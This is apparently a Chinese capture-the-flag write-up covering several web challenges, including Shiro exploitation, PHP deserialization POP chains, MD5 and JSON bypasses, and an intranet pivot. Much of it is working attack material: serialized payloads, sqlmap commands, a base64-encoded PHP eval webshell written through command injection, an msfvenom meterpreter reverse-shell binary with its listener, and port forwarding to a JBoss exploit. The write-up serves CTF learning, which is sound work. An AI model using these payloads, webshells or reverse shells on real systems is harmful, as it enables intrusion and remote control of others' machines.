今年题目质量还不错,竟然还有内网渗透部分,2333,因为平常CTF比较少
毕设刚好是做代码审计相关的,刚刚好又在 POP链这个题用上了,还挺开心~
0x1 Hard_Penetration by Challenger
发现这是 shiro n day漏洞
顺便写了个内存马
连上去发现权限比较小,需要提权
然后尝试了 msf自带的,无果
尝试
https://github.com/mzet-/linux-exploit-suggester
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
无果
有点像mysql udf 提权,不过不知道用户名和密码
源码包也找不到
看了下 flag 是www-data
权限,本机可能还有服务,扫了一下发现在 8005端口,然后代理转发出来(转发过程可参考 0x4 EasyWeb 的端口转发过程)
报错发现是 thinkphp 3.1.3,然后链接显示去 baocms
https://github.com/IsCrazyCat/demo-baocms-v17.1
审计走起
看了下,大概路由和控制器的对应关系如下
等wp吧。。。
还是没找到漏洞点。。。
#更新
赛后和xlw师兄交流了一波,发现漏洞点在
额,完全看不出来。。控制器太多了,,有点难看不出来,太菜了(
0x2 pop_master by tari
index.php 代码
1 2 3 4 5 6 7 8 <?php include "class.php"; //class.php.txt highlight_file(__FILE__); $a = $_GET['pop']; $b = $_GET['argv']; $class = unserialize($a); $class->NGPaqV($b);
明显的反序列化,但看 class.php.txt
后发现很乱。
📎class.php.txt
很多链是混淆的,有的是会覆盖值的,导致链就算构造了也无法进行反序列化
根据如下4点思路去过滤
eval 没被引用,过滤
for 循环中会覆盖传入参数值,过滤
eval 前会覆盖值参数值,过滤
除了入口函数外,其他函数只被引用一次的,过滤
第2和3会覆盖值的是重点,第1和4,一次性过滤多点加快收敛速度(节约下一次运行脚本时间)
编写脚本如下,根据 AST 去剪切不需要的节点(即根据上面4点去除无用或会影响结果的函数)
之所以用 AST 是因相比正则或其他更能精准的剪切节点,PHP AST库传送门 。
$entryFunc
入口函数名称,根据实际情况来,即 index.php 里调用的函数 $class->NGPaqV($b);
PHP运行内存默认是 128M,在解析18w行代码会因内存不足退出,我这里php.ini 增加到 8196M
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php ini_set('max_execution_time' , '300' ); require 'vendor/autoload.php' ;use PhpParser \Error ;use PhpParser \NodeDumper ;use PhpParser \ParserFactory ;use PhpParser \PrettyPrinter ;$entryFunc = 'NGPaqV' ;$inputPhpFile = './class.php' ;$outputPhpFile = './class.php' ;$code = file_get_contents($inputPhpFile );echo '[+] get file content done' ."\n" ;$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);try { $ast = $parser ->parse($code ); } catch (Error $error ) { echo "Parse error: {$error->getMessage()} \n" ; return ; } echo '[+] parse done' . "\n" ;$deleteCnt = 0 ;foreach ($ast as $k =>$subclass ) { foreach ($subclass ->stmts as $kk =>$classMember ) { if ($classMember instanceof PhpParser\Node\Stmt\ClassMethod) { if (substr_count($code , $classMember ->name->name) === 1 && $classMember ->name->name !== $entryFunc ) { $deleteCnt ++; unset ($subclass ->stmts[$kk ]); continue ; } if (! $classMember ->params) { continue ; } $param = $classMember ->params[0 ]->var->name; foreach ($classMember ->stmts as $kkkk => $subStatements ) { if ($subStatements instanceof PhpParser\Node\Stmt\For_) { $assignLeft = $subStatements ->stmts[0 ]->expr->var->name; if ($param === $assignLeft ) { $deleteCnt ++; unset ($subclass ->stmts[$kk ]); continue ; } } if ($subStatements instanceof PhpParser\Node\Stmt\Expression) { if ($subStatements ->expr instanceof PhpParser\Node\Expr\Assign) { if ($param === $subStatements ->expr->var->name) { $deleteCnt ++; unset ($subclass ->stmts[$kk ]); continue ; } } if ($subStatements ->expr instanceof PhpParser\Node\Expr\Eval_) { if (substr_count($code , $classMember ->name->name) === 1 ) { $deleteCnt ++; unset ($subclass ->stmts[$kk ]); continue ; } } } } } } } echo '[+] filter done' ."\n" ;$prettyPrinter = new PrettyPrinter\Standard;$afterFilter = $prettyPrinter ->prettyPrintFile($ast );file_put_contents($outputPhpFile , $afterFilter ); echo '[+] total filter: ' .$deleteCnt . ' function' ."\n" ;
多运行几遍上面代码,大概15次左右,大概消耗20分钟左右,就会显示过滤完成了,即 total filter: 0 function
。(脚本还可以改进,例如把没用的类也去掉)
去除完后,搜索发现就只有一个 eval,接下来反过来跟这条链即可~
构造 POP链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php class xCUG62 { public $rLTCpuG ; function __construct ( ) { } } class E984fn { public $GcQ9wNy ; function __construct ( ) { $this ->GcQ9wNy = new xCUG62(); } } class zOTHpM { public $HiDCYPi ; function __construct ( ) { $this ->HiDCYPi = new E984fn(); } } class S0bXG3 { public $t8FQmBq ; function __construct ( ) { $this ->t8FQmBq = new zOTHpM(); } } class LTswgA { public $GP8GMDp ; function __construct ( ) { $this ->GP8GMDp = new S0bXG3(); } } class Br2Com { public $aSGzyvk ; function __construct ( ) { $this ->aSGzyvk = new LTswgA(); } } class MwVbup { public $qFwGWF6 ; function __construct ( ) { $this ->qFwGWF6 = new Br2Com(); } } class xxAkFU { public $YRn1G6B ; function __construct ( ) { $this ->YRn1G6B = new MwVbup(); } } class UOPWFh { public $w2rcmoW ; function __construct ( ) { $this ->w2rcmoW = new xxAkFU(); } } class fTTYmp { public $Ma3Koaf ; function __construct ( ) { $this ->Ma3Koaf = new UOPWFh(); } } class zuNg7f { public $TNngTy9 ; function __construct ( ) { $this ->TNngTy9 = new fTTYmp(); } } class Q0Ehc0 { public $Eze6mbP ; function __construct ( ) { $this ->Eze6mbP = new zuNg7f(); } } class LNv8hP { public $kiZRG9G ; function __construct ( ) { $this ->kiZRG9G = new Q0Ehc0(); } } class RLadP4 { public $FkQAZ7e ; function __construct ( ) { $this ->FkQAZ7e = new LNv8hP(); } } class K1lpuz { public $ZH6YAPE ; function __construct ( ) { $this ->ZH6YAPE = new RLadP4(); } } class lIcDR2 { public $Q7WCRu9 ; function __construct ( ) { $this ->Q7WCRu9 = new K1lpuz(); } } class xk6AMC { public $nqGOOTr ; function __construct ( ) { $this ->nqGOOTr = new lIcDR2(); } } class mDnkFh { public $SLzu22G ; function __construct ( ) { $this ->SLzu22G = new xk6AMC(); } } class LvG62O { public $AByNdFw ; function __construct ( ) { $this ->AByNdFw = new mDnkFh(); } } class v00XnF { public $S9vaxl3 ; function __construct ( ) { $this ->S9vaxl3 = new LvG62O(); } } class mRhBx7 { public $uMKr13G ; function __construct ( ) { $this ->uMKr13G = new v00XnF(); } } class Eckd7K { public $bR5zBKO ; function __construct ( ) { $this ->bR5zBKO = new mRhBx7(); } } class gGHPEt { public $IOGuqdZ ; function __construct ( ) { $this ->IOGuqdZ = new Eckd7K(); } } class OcZqBy { public $yHPAqE1 ; function __construct ( ) { $this ->yHPAqE1 = new gGHPEt(); } } class NGPaqV { public $ZwSdRyt ; function __construct ( ) { $this ->ZwSdRyt = new OcZqBy(); } } $NG = new NGPaqV();echo serialize($NG );
还有多余的字符拼接在我们可控字符的后面,因最终是 eval
转换为代码,通过注释去掉即可
即可获得flag
0x3 (部分)WhereIsUWebShell 赛后和xlw师兄交流了一波,表示学到了~!
先贴贴原题代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 I see your Cookie <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--> <?php ini_set('display_errors' , 'on' ); if (!isset ($_COOKIE ['ctfer' ])){ setcookie("ctfer" ,serialize("ctfer" ),time()+3600 ); }else { include "function.php" ; echo "I see your Cookie<br>" ; $res = unserialize($_COOKIE ['ctfer' ]); if (preg_match('/myclass/i' ,serialize($res ))){ throw new Exception ("Error: Class 'myclass' not found " ); } } highlight_file(__FILE__ ); echo "<br>" ;highlight_file("myclass.php" ); echo "<br>" ;highlight_file("function.php" ); <?php class Hello { public function __destruct ( ) { if ($this ->qwb) echo file_get_contents($this ->qwb); } } ?> <?php function __autoload ($classname ) { require_once "/var/www/html/$classname .php" ; } ?>
简要分析一下,存在以下几个文件
index.php 入口,也是反序列化点,不过存在正则 preg_match('/myclass/i',serialize($res))
需要绕过
myclass.php 文件读取点
function.php __autoload
魔术方法文件,当实例化一个类时候,如 new myclass();
然后找不到这个类时,会调用这个魔术方法,本题表现为包含某个文件。
e2a7106f1cc8bb1e1318df70aa0a3540.php 应该是提示之类的
这里正则绕过的思路很巧妙,表示学到了!
首先,如果没有反序列化 myclass
类,就因没包含 myclass.php
文件,进而导致利用不了 Hello
类
观察 index.php
代码可知,首先是反序列化 Cookie
里的序列化数据,然后在序列化刚刚反序列化的数据。这里看似,,好像无法修改,但仔细想想,PHP里有没有什么数据结构,会先天性存在,写入同一个位置会存在覆盖关系的,就豁然开朗了!
没错,就是,数组,只要反序列化数组,都在数据的同一位置,反序列化时,反序列化数组的第一个位置是 myclass
类,就会包含 myclass.php
,然后同一第一个位置也是 Hello
类,那么就会覆盖第一个位置的 myclass
类,但此时 myclass.php
,已经包含进来了,那么 Hello
类自然也能正常被反序列化了
构造 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class myclass {} class Hello { public $qwb ; } $he = new Hello();$he ->qwb = '/Users/tari/Sites/tari_local/e2a7106f1cc8bb1e1318df70aa0a3540.php' ;$arr [1 ] = new myclass();$arr [0 ] = $he ;echo urlencode(str_replace("i:0" , "i:1" , serialize($arr )));
就绕过去了
6月24日更新
从Nu1L的wp中看到的另外一种绕过方法,POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class myclass { public $test ; } class Hello {} $a = new myclass();$b = new Hello();$b ->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php" ;$a ->test = $b ;$raw_exp = serialize($a );echo urlencode(substr($raw_exp , 0 , strlen($raw_exp ) - 1 ));
即去除了序列化后数据最后一个花括号,能正常反序列化,但因序列化数据最后一位有误,unserialize
执行出现异常, $res
为 false
,所以绕过了正则表达式
本地中 e2a7106f1cc8bb1e1318df70aa0a3540.php
文件内容为
正常读取文件内容
0x4 [强网先锋]赌徒 by tari
目录爆破 -> www.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <meta charset="utf-8" > <?php error_reporting(1 ); class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello(); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; public function __get ($name ) { $function = $this ->a; return $function (); } public function Get_hint ($file ) { $hint =base64_encode(file_get_contents($file )); echo $hint ; return ; } public function __invoke ( ) { $content = $this ->Get_hint($this ->filename); echo $content ; } } if (isset ($_GET ['hello' ])){ unserialize($_GET ['hello' ]); }else { $hi = new Start(); } ?>
调用逻辑为,反序列化调用 Start
类的 __wakeup
魔术方法 -> 调用 $this->_sayhello();
,里面有 echo,可以触发 Info
类的 __toString
魔术方法,然后 Room
类无 ffiillee['ffiilleennaammee']
属性,进而触发 __get
魔术方法,最好先构造后 Room
类 $a
成员为 Room
对象即可(这里的坑为 $a
成员的 Room
对象不能在构造方法里构造,否则因这三个类相互调用而报错)
构造 POP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Start { public $name ='guest' ; public $flag ='1' ; } class Info { private $phonenumber = 123123 ; public $promise = 'Ido' ; } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; } $st = new Start();$if = new Info();$ro = new Room();$st ->name = $if ;$if ->file['filename' ] = $ro ;$ro ->a = new Room();echo urlencode(serialize($st ));
注意这个 hi,不是base64编码后的,注意去掉~
得到flag
0x5 [强网先锋]寻宝 key1 by tari
数字大于 1026即可
科学计数法绕过
跑一下脚本即可
1 2 3 4 5 6 7 8 9 10 11 import hashlibtarget = '4bf21cd' candidate = 0 while True : plaintext = str (candidate) hash = hashlib.md5(plaintext.encode('ascii' )).hexdigest() if hash [:7 ] == target: print ('plaintext:"' + plaintext + '", md5:' + hash ) break candidate = candidate + 1
浮点数绕过
让json解析失败即可
1 ppp[number1]=1026a&ppp[number2]=10e8&ppp[number3]=61823470&ppp[number4]=0.00000.0&ppp[number5]={\"a":1}
key1
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
key2 challenger 来了句,有没有可能直接在文件里呢?
脚本安排上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import osimport docxdef dir_file (file_path ): file_list = [] for top, dirs, non_dirs in os.walk(file_path): for item in non_dirs: file_list.append(os.path.join(top, item)) return file_list docx_list = filter (lambda s: s.endswith('.docx' ), dir_file('/Users/tari/Downloads/five_month' )) for docx_file in docx_list: try : docx_object = docx.Document(docx_file) except docx.opc.exceptions.PackageNotFoundError: print ('open failed: {}' .format (docx_file)) continue for para in docx_object.paragraphs: if "KEY2" in para.text: print (docx_file) print (para.text) break
key2
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
提交两个key即可获得 flag
0x6 EasyWeb by challenger
目录爆破 -> /hint
访问一下得到提示
尝试扫描 35000-40000端口
访问发现是个后台
貌似存在sql注入
sqlmap还可以直接跑出来
1 sqlmap -r sql.log -D easyweb -T employee -C username,passwd
帐号密码 admin/99f609527226e076d668668582ac4420
暂时没找到 ssrf 点在哪
不过找到一个文件上传点
过滤了一些字段,不过可以字符串拼接
whoami 是 www-data 然后flag没权限
查看提示
mysql 限制了文件的读取位置
这里直接写入webshell不知为何无法写入成功,因此在写入了 system 命令下,把webshell进行编码在写入
1 http://47.104.137.239:36842//upload//1aadcef13858c71dacc8e00b17d0cd10//phpinfo.php?s=echo%20%22PD9waHAgZXZhbChAJF9QT1NUWyJzIl0pOyA%2fPg%3d%3d%22|base64%20-d%20%3E%20s.php
然后看下端口,一个个试试
在 8006 发现 Jboss,端口转发出来
为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)
生成马
1 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667
msfconsole上监听
1 2 3 4 5 use exploit/multi/handle set payload linux/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 667 run
把生成的马上传上webshell,然后运行
1 2 chmod +x /tmp/msf_667 /tmp/msf_667
在反弹回来的meterpreter上进行端口转发
1 portfwd add -l 670 -p 8005 -r 127.0.0.1
可正常访问,并且得知为 JBoss 4.0,有个反序列化漏洞。
访问如下链接,确实可以利用
使用jexboss利用
https://github.com/joaomatosf/jexboss